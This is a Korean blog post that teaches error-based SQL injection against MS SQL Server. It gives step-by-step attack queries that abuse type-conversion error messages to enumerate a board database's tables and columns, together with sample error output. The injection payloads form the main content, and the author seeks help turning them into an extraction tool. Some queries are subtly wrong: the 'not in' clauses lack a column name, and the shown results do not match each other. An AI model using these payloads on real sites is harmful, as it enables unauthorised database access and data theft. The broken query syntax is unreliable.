본문 바로가기
Security

DB 에러메시지를 이용하여 데이터추출하기

by Hide­ 2007. 3. 8.
반응형

어떤 게시판이 있습니다


그게시판의 데이터베이스의 테이블을 알아야겠죠?


select name from sysobjects where xtype='u'


일반적으로 쿼리창에서 얻을수 있는 테이블 리스트들입니다


지금 쿼리창을 여시고 한번확인해보세요 ...


그렇다면 어떻게 추출을 해야하나?


두가지 기법이 있습니다(제가 아는한은 -_-)


첫번째는 union입니다 이 기법은 많이 까다로운 기법입니다 컬럼갯수도 맞아야하고


에러메시지가 뜨더라도 별로 도움 아되는 에러메시지만 뜨공...


전 그래서 확실한 쿼리문과 컬럼문을 알지못하는 이상은 이기법은 되도록 피합니다


두번째 and 기법(전 이렇게 부릅니다 ;;이해하시길)


이건 저도 어제야 알겠됬는데 ㅎㅎ (다른분들은 다 아실듯 ㅠ_ㅠ)


에러메시지를 통해 모든 테이블 리스트를 하나하나 출력받을수 있습니다


단 에러메시지를 일괄적으로 묶어놓은데서는 소용없겠져?


일단 위의 쿼리문을 실행시 나타난 결과입니다

table2
tfile
sysdatabases
temp
board
mytmp
cyfd


그럼 공격쿼리를 작성해볼까요?


select * from board where intSeq =1 and 2 in(select min(name)
from sysobjects where xtype='U')


sql을 잘 모르시는 분들을 위해 약간의 설명을 드리겠습니다


일단 select * from board where intSeq=1

이구문은 대체로 서버쪽 쿼리문입니다 즉 http://test.co.kr/board/list.asp?seq=1

이런 구문과 일맥 상통하다고 볼수있죠


and 2 in(select min(name)
from sysobjects where xtype='U')


이부분이 우리가 sql injection을 주입할 쿼리입니다


and 2 in(이하 쿼리) 이부분은 일부로 에러메시지를 유도하기위해 작성되었습니다

2란값은 상수값을 나타내기위해썻고요 0을 써도되고 1도 써도되고 맘대로 쓰셔도 상관없습니다


select min(name) from sysobjects where xtype='U'


이쿼리에서 테이블 리스트를 뽑을수있습니다 min()이란 함수는 제일 작은 값이란 뜻이겠죠?

왜 min을 썻을까? 뒤에 가면 나옵니다 후후


자 작정하였으면 한번 테스트해보십시오


저는 에러메시지가 이렇게 뜨네요

Msg 245, Level 16, State 1, Line 1
nvarchar 값 'board'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.

앗 발견했습니다 board란 테이블 후후


그럼 또다른 값은 어떻게 출력할까요?


네.....not in 이라는 아주좋은 쿼리문이있습니다 (포함을 시키지 않는다라는 구문이죠)

이걸 이용해 추가 작성해보겠습니다

select min(name) from sysobjects where xtype='U' and not in('board')


다시 공격해봅시다...

Msg 245, Level 16, State 1, Line 1
nvarchar 값 'cyfd'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.


또다른 값이 나왔군요 :)


만약 min이란 함수를 쓰지않고 이런식으로 추가 공격을 하면 값을 제대로 추출할수없습니다..

먼가 값들을 정렬시켜서 추출을 해야죠

확인 하고싶으시면 min을 빼보시고 공격을 해보세요...


자 이렇게 테이블 리스트를 작성하였다면 필요한게 무엇이 있을까요?


컬럼 리스트들이죠 ...


일단 추출한 테이블 리스트들중 board란 테이블의 컬럼명들을 추출해보겠습니다


select  name from syscolumns where id=(select id from sysobjects where name ='board' )

이 쿼리문은 board란 테이블의 모든 컬럼명을 추출하는 쿼리문입니다

아래 결과값

dtmReg_date
intCount
intSeq
strContent
strEmail
strName
strPassword
strSubject
strUserIP


이하 공격쿼리


select * from board where intSeq=1 and 2 in(
select  name from syscolumns where id=(select id from sysobjects where name ='board' ))


select * from board where intSeq=1 and 2 in(이하쿼리문)

이부분은 말씀 안드려도 아시겠죠?


당장위의 쿼리문을 실행해봅시다


Msg 245, Level 16, State 1, Line 1
nvarchar 값 'blnTag'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다


굳 +_+)b 발견했습니다 그렇다면 and not in을 이용해봅시다


select * from board where intSeq=1 and 2 in(
select  name from syscolumns where id=(select id from sysobjects where name ='board' )

and not in ('blnTag'))


이런식으로 추가 획득 할수있습니다


휴....글을 짤막하게 쓸려고 했는데 어쩌다 보니 길어졌습니다


위에 글을 쓴 이유가 ...이걸 툴화 해서 제작을 해보고 싶은데....


이방법외에 다른방법으로 추출하는걸 아시는분이나 툴 제작 관련해서


도움주실분 댓글부탁드립니다


그게 아니더라도 위에 방법이 틀린점이 있거나 더 토론해봐야된다는 분도 환영입니다


어쩌꺼나 글을 읽어주셔서 감사합니다 ^^~


-출처 : Security plus

'Security' 카테고리의 다른 글

About GameGuard  (0) 2007.03.08
Bypass REV 833  (0) 2007.03.08
Wall Hack 의 원리  (1) 2007.03.08
XSS  (0) 2007.03.08
중국해커들의 SQL Injection  (0) 2007.03.08